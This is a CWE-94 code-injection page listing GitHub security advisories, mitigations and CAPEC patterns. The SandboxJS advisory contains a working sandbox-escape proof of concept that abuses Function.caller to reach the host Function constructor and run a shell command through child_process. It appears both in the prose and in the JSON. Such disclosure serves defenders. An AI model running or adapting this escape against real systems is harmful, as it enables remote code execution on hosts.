CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8301 vulnerabilities reference this CWE, most recent first.
GHSA-G823-9XXV-PX4Q
Vulnerability from github – Published: 2023-01-16 18:30 – Updated: 2023-01-24 18:30The User Post Gallery WordPress plugin through 2.19 does not limit what callback functions can be called by users, making it possible to any visitors to run code on sites running it.
{
"affected": [],
"aliases": [
"CVE-2022-4060"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-16T16:15:00Z",
"severity": "CRITICAL"
},
"details": "The User Post Gallery WordPress plugin through 2.19 does not limit what callback functions can be called by users, making it possible to any visitors to run code on sites running it.",
"id": "GHSA-g823-9xxv-px4q",
"modified": "2023-01-24T18:30:30Z",
"published": "2023-01-16T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4060"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/8f982ebd-6fc5-452d-8280-42e027d01b1e"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G829-Q6H9-QVPP
Vulnerability from github – Published: 2022-05-04 00:27 – Updated: 2022-05-04 00:27Microsoft Visio Viewer 2010 Gold and SP1 does not properly handle memory during the parsing of files, which allows remote attackers to execute arbitrary code via crafted attributes in a Visio file, aka "VSD File Format Memory Corruption Vulnerability," a different vulnerability than CVE-2012-0020, CVE-2012-0136, CVE-2012-0137, and CVE-2012-0138.
{
"affected": [],
"aliases": [
"CVE-2012-0019"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-02-14T22:55:00Z",
"severity": "HIGH"
},
"details": "Microsoft Visio Viewer 2010 Gold and SP1 does not properly handle memory during the parsing of files, which allows remote attackers to execute arbitrary code via crafted attributes in a Visio file, aka \"VSD File Format Memory Corruption Vulnerability,\" a different vulnerability than CVE-2012-0020, CVE-2012-0136, CVE-2012-0137, and CVE-2012-0138.",
"id": "GHSA-g829-q6h9-qvpp",
"modified": "2022-05-04T00:27:41Z",
"published": "2022-05-04T00:27:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0019"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2012/ms12-015"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14347"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA12-045A.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G83H-QMPP-JPWQ
Vulnerability from github – Published: 2023-06-18 00:30 – Updated: 2024-04-04 04:55An issue was discovered in SugarCRM Enterprise before 11.0.6 and 12.x before 12.0.3. A Bean Manipulation vulnerability has been identified in the REST API. By using a crafted request, custom PHP code can be injected through the REST API because of missing input validation. Regular user privileges can be used to exploit this vulnerability. Editions other than Enterprise are also affected.
{
"affected": [],
"aliases": [
"CVE-2023-35809"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-17T22:15:09Z",
"severity": "HIGH"
},
"details": "An issue was discovered in SugarCRM Enterprise before 11.0.6 and 12.x before 12.0.3. A Bean Manipulation vulnerability has been identified in the REST API. By using a crafted request, custom PHP code can be injected through the REST API because of missing input validation. Regular user privileges can be used to exploit this vulnerability. Editions other than Enterprise are also affected.",
"id": "GHSA-g83h-qmpp-jpwq",
"modified": "2024-04-04T04:55:39Z",
"published": "2023-06-18T00:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35809"
},
{
"type": "WEB",
"url": "https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-007"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/174301/SugarCRM-12.2.0-Bean-Manipulation.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2023/Aug/27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G864-C2G5-PH57
Vulnerability from github – Published: 2022-05-01 23:55 – Updated: 2022-05-01 23:55Multiple PHP remote file inclusion vulnerabilities in Ourvideo CMS 9.5 allow remote attackers to execute arbitrary PHP code via a URL in the include_connection parameter to (1) edit_top_feature.php and (2) edit_topics_feature.php in phpi/.
{
"affected": [],
"aliases": [
"CVE-2008-2977"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-07-02T17:14:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in Ourvideo CMS 9.5 allow remote attackers to execute arbitrary PHP code via a URL in the include_connection parameter to (1) edit_top_feature.php and (2) edit_topics_feature.php in phpi/.",
"id": "GHSA-g864-c2g5-ph57",
"modified": "2022-05-01T23:55:26Z",
"published": "2022-05-01T23:55:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2977"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43311"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5920"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29909"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G89V-JG92-PV78
Vulnerability from github – Published: 2024-06-27 21:32 – Updated: 2024-07-12 18:31Netwrix CoSoSys Endpoint Protector through 5.9.3 and CoSoSys Unify through 7.0.6 contain a remote code execution vulnerability in the Endpoint Protector and Unify agent in the way that the EasyLock dependency is acquired from the server. An attacker with administrative access to the Endpoint Protector or Unify server can cause a client to acquire and execute a malicious file resulting in remote code execution.
{
"affected": [],
"aliases": [
"CVE-2024-36074"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-27T21:15:15Z",
"severity": "HIGH"
},
"details": "Netwrix CoSoSys Endpoint Protector through 5.9.3 and CoSoSys Unify through 7.0.6 contain a remote code execution vulnerability in the Endpoint Protector and Unify agent in the way that the EasyLock dependency is acquired from the server. An attacker with administrative access to the Endpoint Protector or Unify server can cause a client to acquire and execute a malicious file resulting in remote code execution.",
"id": "GHSA-g89v-jg92-pv78",
"modified": "2024-07-12T18:31:45Z",
"published": "2024-06-27T21:32:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36074"
},
{
"type": "WEB",
"url": "https://helpcenter.netwrix.com/bundle/z-kb-articles-salesforce/page/kA0Qk0000001E5lKAE.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G89W-HCGW-6G9P
Vulnerability from github – Published: 2024-01-23 15:30 – Updated: 2024-10-18 18:30Memory safety bugs present in Firefox 121, Firefox ESR 115.6, and Thunderbird 115.6. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7.
{
"affected": [],
"aliases": [
"CVE-2024-0755"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-23T14:15:38Z",
"severity": "HIGH"
},
"details": "Memory safety bugs present in Firefox 121, Firefox ESR 115.6, and Thunderbird 115.6. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox \u003c 122, Firefox ESR \u003c 115.7, and Thunderbird \u003c 115.7.",
"id": "GHSA-g89w-hcgw-6g9p",
"modified": "2024-10-18T18:30:35Z",
"published": "2024-01-23T15:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0755"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/buglist.cgi?bug_id=1868456%2C1871445%2C1873701"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00015.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00022.html"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2024-01"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2024-02"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2024-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G8F2-4F4F-5JQW
Vulnerability from github – Published: 2026-05-11 19:40 – Updated: 2026-06-09 02:00Summary
Sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.
Details
The vulnerability is in the property access logic registered via addOps in prop.ts. Sandboxed code could access the caller, callee, and arguments properties on functions. In the CommonJS build, this allowed sandboxed code to read Function.caller and leak a privileged internal LispType.Call callback.
In executorUtils.ts createFunction() constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:
function f(){ return f.caller }
That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal LispType.Call op, which is registered in call.ts. The escape was possible because the LispType.Call handler accepts a params object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches call.ts:47, call.ts:70, call.ts:149. This means the attacker controls obj.context, obj.prop, obj.get, context.evals.get and a. This can lead to direct invocation of an internal primitive with forged operands
PoC
const sandb = require('@nyariv/sandboxjs').default;
const sand = new sandb();
const payload = `
const callOp = (function fn() { return fn.caller; })();
function makeContext(capture = () => {}) {
return { ctx: { options: 0 }, evals: { get: capture } };
}
function leakStatic(obj, prop) {
let leaked;
callOp({
done() {},
a() {},
b: [],
obj: { context: obj, prop, get() {} },
context: makeContext((fn) => (leaked = fn, () => 1))
});
return leaked;
}
function callDirect(fn, args) {
let value;
callOp({
done(_, result) { value = result; },
a() {},
b: args,
obj: fn,
context: makeContext()
});
return value;
}
callDirect(leakStatic(Object, 'defineProperty'), [
leakStatic,
'call',
callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [
callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),
'constructor'
])
]);
let hostFn;
callOp({
done(_, result) { hostFn = result; },
a: leakStatic,
b: [],
obj: {
context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()',
get() {}
},
context: makeContext()
});
return hostFn();
`;
console.log(sand.compile(payload)().run());
Impact
Sandbox escape leads to RCE
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.5"
},
"package": {
"ecosystem": "npm",
"name": "@nyariv/sandboxjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43898"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T19:40:00Z",
"nvd_published_at": "2026-05-28T18:16:32Z",
"severity": "CRITICAL"
},
"details": "### Summary\nSandbox-defined functions expose `Function.caller`, allowing sandboxed code to recover the internal `LispType.Call` runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.\n### Details\n\nThe vulnerability is in the property access logic registered via `addOps` in [prop.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/prop.ts#L10). Sandboxed code could access the `caller`, `callee`, and `arguments` properties on functions. In the CommonJS build, this allowed sandboxed code to read `Function.caller` and leak a privileged internal `LispType.Call` callback.\n\nIn [executorUtils.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/executorUtils.ts#L239-L282) `createFunction()` constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:\n```js\nfunction f(){ return f.caller }\n```\nThat leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal `LispType.Call` op, which is registered in [call.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L16-L17). The escape was possible because the `LispType.Call` handler accepts a **params** object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches [call.ts:47](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L47-L55), [call.ts:70](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L70), [call.ts:149](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L149-L153). This means the attacker controls `obj.context`, `obj.prop`, `obj.get`, `context.evals.get` and `a`. This can lead to direct invocation of an internal primitive with forged operands\n\n### PoC\n```js\nconst sandb = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst sand = new sandb(); \n\nconst payload = `\nconst callOp = (function fn() { return fn.caller; })();\n\nfunction makeContext(capture = () =\u003e {}) {\n return { ctx: { options: 0 }, evals: { get: capture } };\n}\n\nfunction leakStatic(obj, prop) {\n let leaked;\n callOp({\n done() {},\n a() {},\n b: [],\n obj: { context: obj, prop, get() {} },\n context: makeContext((fn) =\u003e (leaked = fn, () =\u003e 1))\n });\n return leaked;\n}\n\nfunction callDirect(fn, args) {\n let value;\n callOp({\n done(_, result) { value = result; },\n a() {},\n b: args,\n obj: fn,\n context: makeContext()\n });\n return value;\n}\n\ncallDirect(leakStatic(Object, \u0027defineProperty\u0027), [\n leakStatic,\n \u0027call\u0027,\n callDirect(leakStatic(Object, \u0027getOwnPropertyDescriptor\u0027), [\n callDirect(leakStatic(Object, \u0027getPrototypeOf\u0027), [() =\u003e 0]),\n \u0027constructor\u0027\n ])\n]);\n\nlet hostFn;\ncallOp({\n done(_, result) { hostFn = result; },\n a: leakStatic,\n b: [],\n obj: {\n context: \u0027return process.getBuiltinModule(\"child_process\").execSync(\"whoami\").toString()\u0027,\n get() {}\n },\n context: makeContext()\n});\n\nreturn hostFn();\n`;\n\nconsole.log(sand.compile(payload)().run());\n```\n### Impact\n_Sandbox escape leads to RCE_",
"id": "GHSA-g8f2-4f4f-5jqw",
"modified": "2026-06-09T02:00:59Z",
"published": "2026-05-11T19:40:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-g8f2-4f4f-5jqw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43898"
},
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/commit/826865251232611ec94078bab5a18ec875dad4a5"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyariv/SandboxJS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SandboxJS has a sandbox escape via Function.caller leakage of internal call op"
}
GHSA-G8R4-P96J-XFXC
Vulnerability from github – Published: 2021-04-16 19:53 – Updated: 2022-08-11 00:01Impact
Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
Patches
The issue was addressed by preventing dangerous functions from being called in Twig templates. A configuration option has been added to manually allow arbitrary PHP functions (system.twig.safe_functions) and filters (system.twig.safe_filters).
Futures major versions of Grav may disable this functionality by default.
Workarounds
Blocking access to the /admin path from untrusted sources will reduce the probability of exploitation.
References
- https://portswigger.net/research/server-side-template-injection
- https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities
For more information
If you have any questions or comments about this advisory, you can contact: - The original reporters, by sending an email to vulnerability.research [at] sonarsource.com; - The maintainers, by opening an issue on this repository.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.10"
},
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-29440"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-13T19:55:46Z",
"nvd_published_at": "2021-04-13T20:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nTwig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. \nAs the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.\n\n### Patches\n\nThe issue was addressed by preventing dangerous functions from being called in Twig templates. A configuration option has been added to manually allow arbitrary PHP functions (`system.twig.safe_functions`) and filters (`system.twig.safe_filters`). \n\nFutures major versions of Grav may disable this functionality by default. \n\n### Workarounds\n\nBlocking access to the `/admin` path from untrusted sources will reduce the probability of exploitation. \n\n### References\n\n- https://portswigger.net/research/server-side-template-injection\n- https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n - The original reporters, by sending an email to vulnerability.research [at] sonarsource.com;\n - The maintainers, by opening an issue on this repository.",
"id": "GHSA-g8r4-p96j-xfxc",
"modified": "2022-08-11T00:01:25Z",
"published": "2021-04-16T19:53:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-g8r4-p96j-xfxc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29440"
},
{
"type": "WEB",
"url": "https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities"
},
{
"type": "WEB",
"url": "https://packagist.org/packages/getgrav/grav"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/162987/Grav-CMS-1.7.10-Server-Side-Template-Injection.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Grav\u0027s Twig processing allowing dangerous PHP functions by default"
}
GHSA-G8V9-C8M3-942V
Vulnerability from github – Published: 2024-10-24 18:30 – Updated: 2024-12-19 20:17php-heic-to-jpg < 1.0.5 is vulnerable to remote code execution. An attacker who can upload heic images is able to execute code on the remote server via the file name. As a result, the CIA is no longer guaranteed. This affects php-heic-to-jpg below 1.0.5.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "maestroerror/php-heic-to-jpg"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-48514"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-24T21:45:54Z",
"nvd_published_at": "2024-10-24T18:15:10Z",
"severity": "HIGH"
},
"details": "php-heic-to-jpg \u003c 1.0.5 is vulnerable to remote code execution. An attacker who can upload heic images is able to execute code on the remote server via the file name. As a result, the CIA is no longer guaranteed. This affects php-heic-to-jpg below 1.0.5.",
"id": "GHSA-g8v9-c8m3-942v",
"modified": "2024-12-19T20:17:18Z",
"published": "2024-10-24T18:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48514"
},
{
"type": "WEB",
"url": "https://github.com/MaestroError/php-heic-to-jpg/pull/34"
},
{
"type": "WEB",
"url": "https://advisories.gitlab.com/pkg/composer/maestroerror/php-heic-to-jpg/CVE-2024-48514"
},
{
"type": "PACKAGE",
"url": "https://github.com/MaestroError/php-heic-to-jpg"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-g8v9-c8m3-942v"
},
{
"type": "WEB",
"url": "https://github.com/marcoris/CVEs/tree/master/CVE-2024-48514"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Remote code execution in php-heic-to-jpg"
}
GHSA-G8XW-M45C-JPHF
Vulnerability from github – Published: 2023-06-06 00:30 – Updated: 2024-04-04 04:32In Advantech WebAccss/SCADA v9.1.3 and prior, there is an arbitrary file overwrite vulnerability, which could allow an attacker to overwrite any file in the operating system (including system files), inject code into an XLS file, and modify the file extension, which could lead to arbitrary code execution.
{
"affected": [],
"aliases": [
"CVE-2023-32540"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-06T00:15:10Z",
"severity": "CRITICAL"
},
"details": "\nIn Advantech WebAccss/SCADA v9.1.3 and prior, there is an arbitrary file overwrite vulnerability, which could allow an attacker to overwrite any file in the operating system (including system files), inject code into an XLS file, and modify the file extension, which could lead to arbitrary code execution.\n\n",
"id": "GHSA-g8xw-m45c-jphf",
"modified": "2024-04-04T04:32:38Z",
"published": "2023-06-06T00:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32540"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-152-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.